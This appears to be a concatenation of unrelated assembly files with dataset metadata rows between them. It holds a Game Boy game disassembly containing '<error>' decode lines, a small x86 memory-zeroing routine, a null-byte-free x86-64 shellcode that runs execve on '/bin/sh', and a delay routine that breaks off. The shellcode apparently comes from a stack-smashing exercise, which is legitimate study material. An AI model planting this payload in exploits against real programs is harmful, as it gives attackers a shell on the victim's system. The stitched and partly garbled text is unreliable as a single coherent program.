add hl, de
ldh a, [$ff00 + $db]
rr a
rr a
rr a
and $01
ld e, a
ldh a, [$ff00 + $dc]
rr a
rr a
and $02
or e
ld e, a
ld d, $00
add hl, de
ld a, [hl]
and a
jp nz, .l_75b1
jp .l_771c
ld a, [$c11c]
cp $02
jp z, .l_770f
ld a, [$c5a8]
cp $d5
jp z, .l_770f
ldh a, [$ff00 + $dc]
and $0f
cp $08
jp c, .l_771c
call func_71e6
jp .l_770f
ld a, [$c15c]
and a
jp nz, .l_770f
ldh a, [$ff00 + $dc]
and $0f
cp $06
jp nc, .l_75a4
ld a, [$dba5]
and a
jr nz, .l_b566
ld a, [$db79]
cp $01
jr z, .l_b51c
ld a, [$db73]
and a
jr z, .l_b566
.l_b51c:
ldh a, [$ff00 + $f6]
cp $d3
jr z, .l_b53e
cp $24
jr z, .l_b53e
cp $b5
jr z, .l_b53e
cp $2b
jr z, .l_b53e
cp $d9
jr z, .l_b53e
cp $ac
jr z, .l_b53e
cp $8c
jr z, .l_b53e
cp $0e
jr nz, .l_b566
.l_b53e:
ld a, [$db79]
cp $01
jr nz, .l_b54d
ld a, $12
call func_77c4
jp .l_770f
.l_b54d:
xor a
ld [$db47], a
ld a, $98
ld [$c3c9], a
call func_2185
ld a, [$c163]
inc a
ld [$db10], a
call func_092a
jp .l_770f
.l_b566:
ld a, [$c13e]
and a
jp nz, .l_770f
ld a, [$dba5]
and a
jp nz, $0915
jp .l_0909
ld a, [$d6f9]
and a
jp nz, .l_771c
ldh a, [$ff00 + $af]
cp $db
jr c, .l_b5b1
cp $dd
jr nc, .l_b5b1
sub a, $db
ld e, a
ld d, $00
ld hl, $7b35
add hl, de
ld a, [$d6fb]
xor [hl]
jr nz, .l_b5b1
jp .l_771c
ld hl, $c11f
ld [hl], $01
cp $0a
jp z, .l_771c
ldh a, [$ff00 + $db]
and $0f
cp $06
jr c, .l_b5b1
cp $0b
jp c, .l_771c
.l_b5b1:
ldh a, [$ff00 + $af]
cp $69
jr nz, .l_b5c8
ld hl, $ffe3
ldh a, [$ff00 + $9e]
cp [hl]
jr nz, .l_b5c5
ld a, [$c15b]
and a
jr nz, .l_b5c8
.l_b5c5:
call func_78b5
.l_b5c8:
ld hl, $ffe3
ldh a, [$ff00 + $9e]
cp [hl]
jr nz, .l_b634
ld a, [$c13e]
ld hl, $c146
or [hl]
jr nz, .l_b634
ld a, [$dba5]
and a
ldh a, [$ff00 + $af]
jr z, .l_b60b
ld e, $8a
cp $a9
jr z, .l_b626
ld e, $8b
cp $4f
jr z, .l_b5f5
cp $4e
jr z, .l_b5f5
cp $88
jr nz, .l_b5fd
.l_b5f5:
ld a, [$c14a]
and a
jr nz, .l_b634
jr .l_b626
.l_b5fd:
cp $de
jr nz, .l_b60b
ld a, [$dbd0]
and a
jr nz, .l_b634
ld e, $8c
jr .l_b626
.l_b60b:
cp $20
jr nz, .l_b634
ld a, [$db01]
cp $03
jr z, .l_b634
ld a, [$db00]
cp $03
jr z, .l_b634
ld a, [$db66]
and $02
jr nz, .l_b634
ld e, $8d
.l_b626:
ld a, [$c5a6]
and a
jr nz, .l_b634
inc a
ld [$c5a6], a
ld a, e
call func_77be
.l_b634:
ld a, [$c14a]
and a
jr nz, .l_b66a
ld a, [$c16a]
cp $05
jr nz, .l_b66a
ld hl, $716c
add hl, bc
ldh a, [$ff00 + $9e]
cp [hl]
jp nz, .l_770f
ld a, [$c1c3]
inc a
ld [$c1c3], a
cp $0c
jp c, .l_770f
xor a
ld [$c1c3], a
xor a
ld [$c121], a
ld [$c122], a
ld a, $0c
ld [$c16d], a
jp .l_770f
.l_b66a:
ld a, [$c15b]
and a
jr nz, .l_b675
ld a, $03
ld [$c144], a
.l_b675:
ldh a, [$ff00 + $f7]
and a
ldh a, [$ff00 + $af]
jr z, .l_b6db
cp $88
jr z, .l_b689
cp $4e
jr z, .l_b689
cp $4f
jp nz, .l_76db
.l_b689:
ld a, [$c14a]
and a
jp z, .l_770f
ldh a, [$ff00 + $db]
and $f0
ldh [$ff00 + $ce], a
ldh a, [$ff00 + $dc]
and $f0
ldh [$ff00 + $cd], a
ldh a, [$ff00 + $e9]
ld e, a
ld d, $00
call func_20a6
ld a, $05
call func_3c01
jr c, .l_b70f
ld hl, $c200
add hl, de
ldh a, [$ff00 + $e9]
swap a
and $f0
add a, $08
ld [hl], a
ld hl, $c210
add hl, de
ldh a, [$ff00 + $e9]
and $f0
add a, $10
ld [hl], a
ld hl, $c3b0
add hl, de
ld [hl], d
ld hl, $fff4
ld [hl], $09
ld hl, $c2f0
add hl, de
ld [hl], $0f
ld hl, $c340
add hl, de
ld [hl], $c4
jr .l_b71c
.l_b6db:
ld e, $20
cp $c5
jr nz, .l_b6e9
ld a, [$dba5]
and a
jr z, .l_b6f9
jr .l_b70f
.l_b6e9:
ld a, [$dba5]
and a
jr z, .l_b70f
ldh a, [$ff00 + $af]
cp $de
jr z, .l_b6fb
cp $a7
jr nz, .l_b70f
.l_b6f9:
ld e, $40
.l_b6fb:
ld a, [$c191]
inc a
ld [$c191], a
cp e
jr c, .l_b70f
ld a, e
ldh [$ff00 + $e8], a
xor a
ld [$c191], a
call func_51eb
.l_b70f:
ld hl, $7164
add hl, bc
ld a, [$c133]
or [hl]
ld [$c133], a
scf
ret
.l_b71c:
xor a
ld [$c191], a
scf
ccf
ret
ldh a, [$ff00 + $af]
cp $b1
jr z, .l_b72d
cp $b2
jr nz, .l_b74f
.l_b72d:
ldh a, [$ff00 + $dc]
and $0f
cp $06
jr nc, .l_b768
ld a, $0c
ldh [$ff00 + $f2], a
ld a, $05
ld [$c11c], a
call func_1495
ld [$dbc7], a
ld [$c198], a
ldh [$ff00 + $a2], a
ldh [$ff00 + $a3], a
call func_093b
ret
.l_b74f:
cp $c1
jr z, .l_b75f
cp $c2
jr z, .l_b75f
cp $bb
jr z, .l_b75f
cp $bc
jr nz, .l_b768
.l_b75f:
ldh a, [$ff00 + $dc]
and $0f
cp $0c
jp nc, .l_0909
.l_b768:
ret
ld a, [$c14a]
and a
jr z, .l_b7bd
ld a, [$dbaf]
cp $02
jr nz, .l_b7bd
ld a, [$c133]
and $03
cp $03
jr z, .l_b788
ld a, [$c133]
and $0c
cp $0c
jr nz, .l_b7bd
.l_b788:
call func_093b
ldh a, [$ff00 + $9a]
cpl
inc a
sra a
sra a
ldh [$ff00 + $9a], a
ldh a, [$ff00 + $9b]
cpl
inc a
sra a
sra a
ldh [$ff00 + $9b], a
ld a, $18
ldh [$ff00 + $a3], a
ld a, $02
ld [$c146], a
ld a, $20
ld [$c157], a
ldh a, [$ff00 + $9e]
and $02
sla a
ld [$c158], a
ld a, $0b
ldh [$ff00 + $f2], a
call func_1594
.l_b7bd:
ret
call func_2197
jp $1495
call func_218e
jp $1495
ld [$00f8], sp
nop
nop
nop
ldhl sp, d
ld [$98f0], sp
and $f0
ldh [$ff00 + $d7], a
swap a
ld e, a
ldh a, [$ff00 + $99]
sub a, $04
and $f0
ldh [$ff00 + $d8], a
or e
ld e, a
ldh [$ff00 + $fa], a
ld d, $00
ld hl, $d711
ld a, h
add hl, de
ld h, a
ld a, [$dba5]
ld d, a
ld a, [hl]
ldh [$ff00 + $b8], a
ldh [$ff00 + $af], a
ld e, a
ret
ld a, [$c11c]
cp $01
jr nz, .l_b809
ld a, [$c13b]
add a, $04
ld [$c13b], a
.l_b809:
ld a, [$c1a4]
and a
jr z, .l_b847
ld hl, $c146
ld a, [$c14a]
or [hl]
jr nz, .l_b81b
call func_1495
.l_b81b:
call func_77d2
ld c, $04
ld a, [$d463]
cp $01
jr z, .l_b842
ld c, $fc
ld a, [$d6f9]
and a
jr nz, .l_b842
call func_29db
ld c, $02
cp $05
jr z, .l_b842
cp $09
jr z, .l_b842
cp $08
jr nz, .l_b846
ld c, $fd
.l_b842:
ld a, c
ld [$c13b], a
.l_b846:
ret
.l_b847:
ldh a, [$ff00 + $fa]
ldh [$ff00 + $fb], a
ld a, [$c17b]
and a
ret nz
ldh a, [$ff00 + $a2]
and a
jr z, .l_b872
ldh a, [$ff00 + $e7]
and $01
jr nz, .l_b871
ld hl, $c000
ldh a, [$ff00 + $99]
add a, $0b
cp $88
jr nc, .l_b871
ldi [hl], a
ldh a, [$ff00 + $98]
add a, $04
ldi [hl], a
ld a, $26
ldi [hl], a
ld [hl], $00
.l_b871:
ret
.l_b872:
xor a
ld [$d475], a
ld a, [$c11c]
cp $02
jr z, .l_b871
ld a, [$c124]
ld hl, $c19f
or [hl]
jp nz, .l_7980
call func_77d2
ld c, a
ld a, [$dba5]
and a
jr nz, .l_b899
ld a, c
cp $61
jp z, .l_796a
jr .l_b8a7
.l_b899:
ld a, c
cp $4c
jr nz, .l_b8a7
ldh a, [$ff00 + $99]
dec a
and $0f
cp $0c
jr nc, .l_b8b5
.l_b8a7:
call func_29db
ld [$c181], a
and a
jp z, .l_7a5c
cp $e0
jr nz, .l_b8f5
.l_b8b5:
ld a, [$dbc7]
and a
jr nz, .l_b8f4
call func_093b
ldh a, [$ff00 + $9a]
cpl
inc a
ldh [$ff00 + $9a], a
ldh a, [$ff00 + $9b]
cpl
inc a
ldh [$ff00 + $9b], a
ld a, $02
ld [$c146], a
ldh a, [$ff00 + $f9]
and a
jr nz, .l_b8de
ld a, $10
ldh [$ff00 + $a3], a
ldh a, [$ff00 + $a2]
add a, $02
ldh [$ff00 + $a2], a
.l_b8de:
ld a, $10
ld [$c13e], a
ld a, $30
ld [$dbc7], a
ld a, [$db94]
add a, $04
ld [$db94], a
ld a, $03
ldh [$ff00 + $f3], a
.l_b8f4:
ret
.l_b8f5:
ld a, [$c181]
cp $ff
jp z, .l_7a5c
cp $f0
jr c, .l_b904
jp .l_7e6e
.l_b904:
cp $51
jr z, .l_b90c
cp $50
jr nz, .l_b980
.l_b90c:
call func_093b
ld a, $07
ld [$c11f], a
ld hl, $c1bb
inc [hl]
ld hl, $c17b
ldh a, [$ff00 + $e7]
and $03
or [hl]
jr nz, .l_b97f
ldh a, [$ff00 + $98]
sub a, $08
ld hl, $ffd7
sub a, [hl]
bit 7, a
ld a, $ff
jr z, .l_b932
ld a, $01
.l_b932:
ld hl, $ff98
add a, [hl]
ld [hl], a
ldh a, [$ff00 + $d8]
add a, $10
ld hl, $ff99
sub a, [hl]
bit 7, a
ld a, $ff
jr nz, .l_b947
ld a, $01
.l_b947:
ld hl, $ff99
add a, [hl]
ld [hl], a
ldh a, [$ff00 + $98]
sub a, $08
add a, $02
and $0f
cp $04
jr nc, .l_b97f
ldh a, [$ff00 + $99]
sub a, $10
add a, $02
and $0f
cp $04
jr nc, .l_b97f
ldh a, [$ff00 + $99]
add a, $03
ldh [$ff00 + $99], a
ld a, $06
ld [$c11c], a
call func_093b
ld [$c198], a
ld a, [$c181]
ld [$dbcb], a
ld a, $0c
ldh [$ff00 + $f3], a
.l_b97f:
ret
.l_b980:
ld hl, $c000
ld a, [$c181]
cp $08
jr nz, .l_b995
ld a, [$c13b]
add a, $fd
ld [$c13b], a
jp .l_7a5c
.l_b995:
cp $09
jr nz, .l_b9a4
ld a, [$c13b]
add a, $02
ld [$c13b], a
jp .l_7a5c
.l_b9a4:
cp $0b
jr z, .l_b9ac
cp $07
jr nz, .l_ba10
.l_b9ac:
ldh a, [$ff00 + $b2]
and a
jr z, .l_b9b4
jp .l_7eaa
.l_b9b4:
ld a, [$c1ad]
cp $80
jr z, .l_ba10
ld a, [$c11c]
cp $08
jr z, .l_ba0f
cp $01
jr z, .l_ba0f
ldh a, [$ff00 + $99]
add a, $fe
call func_571d
ldh a, [$ff00 + $af]
cp $06
jr z, .l_b9d9
ld a, [$db0c]
and a
jr nz, .l_b9f2
.l_b9d9:
ld a, $50
ldh [$ff00 + $b7], a
ld a, $08
ld [$c11c], a
ldh a, [$ff00 + $af]
ldh [$ff00 + $9c], a
ldh a, [$ff00 + $99]
add a, $02
ldh [$ff00 + $99], a
ld a, $01
ld [$c167], a
ret
.l_b9f2:
ld a, $01
ld [$c11c], a
xor a
ldh [$ff00 + $9c], a
call func_1495
ldh a, [$ff00 + $9e]
ld e, a
ld d, b
ld hl, $77ca
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $77ce
add hl, de
ld a, [hl]
ldh [$ff00 + $9b], a
.l_ba0f:
ret
.l_ba10:
cp $06
jp z, .l_7b37
cp $05
jr nz, .l_ba5c
ldh a, [$ff00 + $99]
add a, $0c
ldi [hl], a
ldh a, [$ff00 + $98]
add a, $00
ldi [hl], a
ld a, $1c
ldi [hl], a
ldh a, [$ff00 + $e7]
rl a
rl a
and $10
push af
ldi [hl], a
ldh a, [$ff00 + $99]
add a, $0c
ldi [hl], a
ldh a, [$ff00 + $98]
add a, $08
ldi [hl], a
ld a, $1c
ldi [hl], a
pop af
or $20
ld [hl], a
ld a, $03
ld [$c11f], a
ldh a, [$ff00 + $e7]
and $0f
jr nz, .l_ba54
ldh a, [$ff00 + $cb]
and $0f
jr z, .l_ba54
ld a, $0e
ldh [$ff00 + $f2], a
.l_ba54:
ld a, [$c13b]
add a, $02
ld [$c13b], a
.l_ba5c:
xor a
ld [$c1bb], a
ld a, [$c11c]
cp $01
jr nz, .l_ba6c
ld a, $00
ld [$c11c], a
.l_ba6c:
ld a, [$c181]
cp $04
jr nz, .l_baa3
ldh a, [$ff00 + $af]
cp $db
jr c, .l_baa3
cp $dd
jr nc, .l_baa3
sub a, $db
ld e, a
ld d, $00
ld hl, $7b35
add hl, de
ld a, [$d6fb]
xor [hl]
jr z, .l_baa3
ld a, [$d6f8]
ld e, a
ld d, $00
ld hl, $7b29
add hl, de
ld a, [$c13b]
add a, [hl]
ld [$c13b], a
ld a, $01
ld [$d6f9], a
ret
.l_baa3:
ld a, [$d6f9]
and a
jr z, .l_bab1
ld a, $07
ldh [$ff00 + $f4], a
xor a
ld [$d6f9], a
.l_bab1:
ld a, [$dba5]
and a
jp z, .l_7b28
ld a, [$c124]
and a
jr nz, .l_bb28
ldh a, [$ff00 + $af]
cp $aa
jr nz, .l_baf6
ld a, [$c1cb]
and a
jr nz, .l_baf6
ld a, [$c1ca]
inc a
ld [$c1ca], a
cp $18
jr nz, .l_baed
ld a, $60
ld [$c1cb], a
ld a, $0e
ldh [$ff00 + $f3], a
ld a, $03
ldh [$ff00 + $a5], a
ldh a, [$ff00 + $f6]
cp $c3
jr nz, .l_baed
ld hl, $d879
set 4, [hl]
.l_baed:
ld a, [$c13b]
add a, $fd
ld [$c13b], a
ret
.l_baf6:
xor a
ld [$c1ca], a
ldh a, [$ff00 + $fa]
ld hl, $fffb
cp [hl]
ld hl, $c1c9
jr nz, .l_bb26
ldh a, [$ff00 + $af]
cp $df
jr nz, .l_bb26
ldh a, [$ff00 + $a1]
ld e, a
ld a, [$c1a9]
ld d, a
ld a, [$c19f]
or e
or d
jr nz, .l_bb26
inc [hl]
ld a, [hl]
cp $28
jr c, .l_bb28
ld a, $2b
ldh [$ff00 + $f4], a
jp .l_4cac
.l_bb26:
ld [hl], $00
.l_bb28:
ret
<error>
rst 38
rst 38
cp $fe
cp $fd
<error>
<error>
<error>
<error>
<error>
nop
ld [bc], a
ldh a, [$ff00 + $99]
add a, $08
ldi [hl], a
ldh a, [$ff00 + $98]
add a, $ff
ldi [hl], a
ld a, $1a
ldi [hl], a
ld a, [$c120]
rl a
rl a
and $20
push af
ldi [hl], a
ldh a, [$ff00 + $99]
add a, $08
ldi [hl], a
ldh a, [$ff00 + $98]
add a, $07
ldi [hl], a
ld a, $1a
ldi [hl], a
pop af
xor $20
ld [hl], a
ld a, $03
ld [$c11f], a
ret
add a, $3a
nop
nop
nop
nop
ldd a, [hl]
add a, $04
<error>
nop
nop
nop
nop
<error>
inc b
ld a, [$c124]
cp $00
jp z, .l_7c5d
push af
cp $03
jp c, .l_7c50
ld a, [$c125]
ld c, a
ld b, $00
ld hl, $7b64
add hl, bc
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $7b68
add hl, bc
ld a, [hl]
ldh [$ff00 + $9b], a
push bc
call func_20d6
pop bc
ld hl, $7b6c
add hl, bc
ldh a, [$ff00 + $96]
add a, [hl]
ldh [$ff00 + $96], a
ld hl, $7b70
add hl, bc
ldh a, [$ff00 + $97]
add a, [hl]
ldh [$ff00 + $97], a
ld hl, $c12d
cp [hl]
jp nz, .l_7c50
ldh a, [$ff00 + $96]
ld hl, $c12c
cp [hl]
jp nz, .l_7c50
pop af
ldh a, [$ff00 + $b1]
and a
jr z, .l_bbc9
call func_27a8
xor a
ldh [$ff00 + $b1], a
.l_bbc9:
call func_1495
ldh [$ff00 + $a3], a
ld [$c124], a
ldh a, [$ff00 + $98]
ld [$dbb1], a
ldh a, [$ff00 + $99]
ld [$dbb2], a
ld a, [$c125]
cp $03
jr nz, .l_bc06
ld a, $01
ldh [$ff00 + $9b], a
call func_7180
ldh a, [$ff00 + $af]
cp $db
jr z, .l_bc06
cp $dc
jr z, .l_bc06
cp $e1
jr z, .l_bbfd
ld a, [$c133]
and a
jr z, .l_bc06
.l_bbfd:
ld a, [$c17b]
and a
jr nz, .l_bc06
call func_71ea
.l_bc06:
ld a, [$c169]
and a
jr z, .l_bc12
ldh [$ff00 + $f2], a
xor a
ld [$c169], a
.l_bc12:
call func_3819
ld a, $ff
ldh [$ff00 + $a6], a
ld a, [$dba5]
and a
ret z
ld d, a
ldh a, [$ff00 + $f7]
cp $1a
jr nc, .l_bc2a
cp $06
jr c, .l_bc2a
inc d
.l_bc2a:
ldh a, [$ff00 + $f6]
ld e, a
call func_29b8
cp $1a
jr z, .l_bc40
cp $19
jr z, .l_bc40
ld a, [$c18e]
and $e0
cp $80
ret nz
.l_bc40:
ld a, [$dbcd]
and a
ret z
ldh a, [$ff00 + $f8]
and $10
ret nz
ld a, $0c
ld [$d462], a
ret
pop af
dec a
rst 0
ld a, [hl]
ld a, h
and c
ld a, l
ldh [c], a
ld a, l
ld e, c
ld a, [hl]
ld e, l
ld a, [hl]
ret
ld bc, $0201
nop
nop
ld [bc], a
ld bc, $0002
ld [bc], a
ld [bc], a
nop
ld [bc], a
ld [bc], a
nop
ld [bc], a
ld bc, $0002
ld [bc], a
ld bc, $0002
ld [bc], a
nop
nop
nop
nop
ld [bc], a
ld [bc], a
ld [bc], a
ld [bc], a
ld a, [$c125]
ld c, a
ld b, $00
ld a, [$dba5]
and a
jr z, .l_bced
ldh a, [$ff00 + $f7]
cp $0b
jr nc, .l_bced
cp $08
jr nz, .l_bcc8
ldh a, [$ff00 + $f6]
cp $71
jr nz, .l_bcc8
ld a, c
cp $03
jr z, .l_bcc8
ld a, [$db7c]
ld e, a
ld d, $00
ld hl, $7c5e
add hl, de
ld a, [$c5aa]
ld e, a
inc a
ld [$c5aa], a
add hl, de
ld a, c
cp [hl]
jr z, .l_bcbd
xor a
ld [$c5aa], a
jp .l_7d25
.l_bcbd:
ld a, e
cp $07
jp nz, .l_7d25
ld a, $02
ld [$c169], a
.l_bcc8:
xor a
ld [$c5aa], a
ld hl, $7dde
add hl, bc
ld a, c
cp $02
jr nz, .l_bce7
ldh a, [$ff00 + $f7]
cp $05
jr nz, .l_bce7
ld a, [$dbae]
cp $1d
jr nz, .l_bce7
ld a, $35
ld [$dbae], a
.l_bce7:
ld a, [hl]
ld hl, $dbae
jr .l_bd0c
.l_bced:
ld a, [$c10c]
and a
jr z, .l_bd04
ld a, c
cp $02
jr nz, .l_bd04
ld a, $1e
ld [$c169], a
ld a, $63
ld hl, $fff6
jr .l_bd0d
.l_bd04:
ld hl, $7dda
add hl, bc
ld a, [hl]
ld hl, $fff6
.l_bd0c:
add a, [hl]
.l_bd0d:
ld [hl], a
cp $41
jr nz, .l_bd25
ld a, c
cp $02
jr nz, .l_bd25
ld hl, $d841
bit 6, [hl]
jr nz, .l_bd25
set 6, [hl]
ld a, $02
ld [$c169], a
.l_bd25:
call func_2ed7
call func_36e6
call func_1ccc
call func_149b
ld a, [$c1cf]
and a
jr z, .l_bd4c
xor a
ld [$c1cf], a
ld a, [$d47c]
and a
ldh a, [$ff00 + $b0]
jr z, .l_bd45
ld a, $49
.l_bd45:
ldh [$ff00 + $b1], a
call func_27ca
jr .l_bd99
.l_bd4c:
ld a, [$dba5]
and a
jr nz, .l_bd99
ld a, [$db4e]
and a
jr z, .l_bd99
ldh a, [$ff00 + $f6]
ld e, a
ld d, $00
ld hl, $4000
add hl, de
ld a, [hl]
ld hl, $ffb0
cp [hl]
jr z, .l_bd99
ld c, a
cp $25
jr nc, .l_bd77
ld b, $00
ld hl, $4120
add hl, bc
ld a, [hl]
and a
jr nz, .l_bd8d
.l_bd77:
ld a, [$d47c]
and a
jr z, .l_bd90
ldh a, [$ff00 + $bd]
cp $49
jr z, .l_bd96
call func_7d90
ld a, $49
ldh [$ff00 + $b1], a
ldh [$ff00 + $bd], a
ret
.l_bd8d:
ld a, c
ldh [$ff00 + $bd], a
.l_bd90:
ld a, c
ldh [$ff00 + $b1], a
call func_27ca
.l_bd96:
ld a, c
ldh [$ff00 + $b0], a
.l_bd99:
ld a, [$c124]
inc a
ld [$c124], a
ret
call func_09aa
ld a, [$d6fa]
cp $02
jr nz, .l_bdaf
ld a, $02
ldh [$ff00 + $bb], a
.l_bdaf:
jp .l_7d99
nop
nop
ld [bc], a
ld [bc], a
inc d
inc c
nop
nop
nop
nop
inc bc
ld [bc], a
inc d
ld e, $c0
nop
ld [$0a08], sp
ld a, [bc]
ld a, [bc]
ld a, [bc]
ld [$0008], sp
add hl, bc
ld [hl], b
nop
ld b, b
ld b, b
ld [bc], a
ld [bc], a
and b
ld h, b
nop
nop
nop
nop
add a, b
add a, b
ld bc, $f0ff
stop
ld bc, $f8ff
ld [$25fa], sp
pop bc
ld c, a
ld b, $00
ld hl, $7dd2
add hl, bc
ld a, [$c12c]
add a, [hl]
ld [$c12c], a
ld hl, $7dd6
add hl, bc
ld a, [$c12d]
add a, [hl]
ld [$c12d], a
ld hl, $7dbe
add hl, bc
ld a, [$c12f]
add a, [hl]
rl d
and $df
ld [$c127], a
ld hl, $7dba
add hl, bc
ld a, [$c12e]
rr d
adc a, [hl]
and $03
ld [$c126], a
ld hl, $7db6
add hl, bc
ld a, [$c12f]
add a, [hl]
rl d
and $df
ld [$c12f], a
ld hl, $7db2
add hl, bc
ld a, [$c12e]
rr d
adc a, [hl]
and $03
ld [$c12e], a
ld hl, $7dc2
add hl, bc
ld a, [hl]
ld [$c128], a
ld hl, $7dc6
add hl, bc
ld a, [hl]
ld [$c129], a
ld hl, $7dca
add hl, bc
ld a, [hl]
ld [$c12a], a
xor a
ld [$c12b], a
jp .l_7d99
call func_267a
ret
ret
nop
nop
rst 38
ld bc, $ff01
ld bc, $01ff
rst 38
nop
nop
ld bc, $ff01
rst 38
ldh a, [$ff00 + $e7]
and $03
ld hl, $c167
or [hl]
ld hl, $ffa1
or [hl]
ld hl, $c1a9
or [hl]
ret nz
ld a, [$c181]
sub a, $f0
ld e, a
ld d, $00
ld hl, $7e5e
add hl, de
ldh a, [$ff00 + $98]
add a, [hl]
ldh [$ff00 + $98], a
ld hl, $7e66
add hl, de
ldh a, [$ff00 + $99]
add a, [hl]
ldh [$ff00 + $99], a
ret
<error>
ld a, [$f6f8]
inc c
nop
nop
<error>
nop
nop
nop
nop
nop
<error>
inc c
nop
ldh a, [$ff00 + $e7]
and $00
ld hl, $c124
or [hl]
ld hl, $c1a9
or [hl]
ld hl, $ffa1
or [hl]
ld hl, $c19f
or [hl]
ld hl, $c14f
or [hl]
jr nz, .l_befd
ld e, $01
ldh a, [$ff00 + $af]
cp $0e
jr nz, .l_bee4
ldh a, [$ff00 + $f6]
cp $3e
jr z, .l_bee7
inc e
cp $3d
jr z, .l_bee7
inc e
cp $3c
jr z, .l_bee7
cp $3f
jr nz, .l_befd
ld e, $00
jr .l_bee7
.l_bee4:
sub a, $e7
ld e, a
.l_bee7:
ld d, $00
ld hl, $7e9a
add hl, de
ld a, [hl]
ldh [$ff00 + $9a], a
ld hl, $7ea2
add hl, de
ld a, [hl]
ldh [$ff00 + $9b], a
call func_20d6
call func_7180
.l_befd:
ret
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
rst 38
| 11.934281
| 22
| 0.488718
|
20390c08e1998b65274e0b3e63dc3b93b9e5a24b
| 348
|
asm
|
Assembly
|
ecdsa128/src/GFp_src/src/zero.asm
|
FloydZ/Crypto-Hash
|
2635450fb16d4d8dc4578d6539cc25ce599f7e21
|
[
"MIT"
] | 11
|
2015-03-17T10:31:23.000Z
|
2022-01-21T17:42:43.000Z
|
ecdsa128/src/GFp_src/src/zero.asm
|
0xFF1E071F/Crypto-Hash
|
2635450fb16d4d8dc4578d6539cc25ce599f7e21
|
[
"MIT"
] | null | null | null |
ecdsa128/src/GFp_src/src/zero.asm
|
0xFF1E071F/Crypto-Hash
|
2635450fb16d4d8dc4578d6539cc25ce599f7e21
|
[
"MIT"
] | 6
|
2018-01-29T16:06:36.000Z
|
2021-05-08T19:22:24.000Z
|
.686p
.mmx
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
.code
zero proc ptrA:DWORD
push eax
push esi
xor eax, eax
mov esi, dword ptr [esp+4+8]
and dword ptr [esi ], eax
and dword ptr [esi+ 4], eax
and dword ptr [esi+ 8], eax
and dword ptr [esi+12], eax
pop esi
pop eax
ret 4
zero endp
end
| 12
| 29
| 0.683908
|
5a9f57aeef44341a16849264cdfc8acca657d502
| 646
|
nasm
|
Assembly
|
smash/shellcode_nz.nasm
|
phaser/smashing_the_stack
|
f906eb3d60eec8385e91d76104e1348ba5cc022e
|
[
"MIT"
] | 1
|
2019-11-19T10:40:26.000Z
|
2019-11-19T10:40:26.000Z
|
smash/shellcode_nz.nasm
|
phaser/smashing_the_stack
|
f906eb3d60eec8385e91d76104e1348ba5cc022e
|
[
"MIT"
] | null | null | null |
smash/shellcode_nz.nasm
|
phaser/smashing_the_stack
|
f906eb3d60eec8385e91d76104e1348ba5cc022e
|
[
"MIT"
] | null | null | null |
bits 64
section .text
global _start
_start:
nop
jmp jmp_call64
call_back64:
; execve
pop rsi
mov rax, 0xFFFFFFFFFFFFFFFF
sub rax, 0xFFFFFFFFFFFFFFC4
mov rdi, rsi ; *filename
xor rsi, rsi ; *argv
xor rdx, rdx ; *envp
syscall
; exit
xor rdi,rdi ; zero rdi (rdi hold return value)
mov rax, 0xFFFFFFFFFFFFFFFF ; set syscall number to 60 (0x3c hex)
sub rax, 0xFFFFFFFFFFFFFFC3
syscall ; call kernel
jmp_call64:
call call_back64
file db "/bin/sh",0
| 24.846154
| 81
| 0.524768
|
2f3e51383801b9c10e4ff5e1e27bfd56c013378a
| 331
|
asm
|
Assembly
|
delay.asm
|
DavidR86/c64-pong
|
a46784d5f8f81a762a199625d269cbefd5b528ab
|
[
"MIT"
] | null | null | null |
delay.asm
|
DavidR86/c64-pong
|
a46784d5f8f81a762a199625d269cbefd5b528ab
|
[
"MIT"
] | null | null | null |
delay.asm
|
DavidR86/c64-pong
|
a46784d5f8f81a762a199625d269cbefd5b528ab
|
[
"MIT"
] | null | null | null |
///subroutine to handle fixed time delay (busy wait)
///times ball speed in main loop
delay:
//cycles formula = 5ab+5a (total cycles)
ldy#3 //a=10 (original value, but 3 is better)
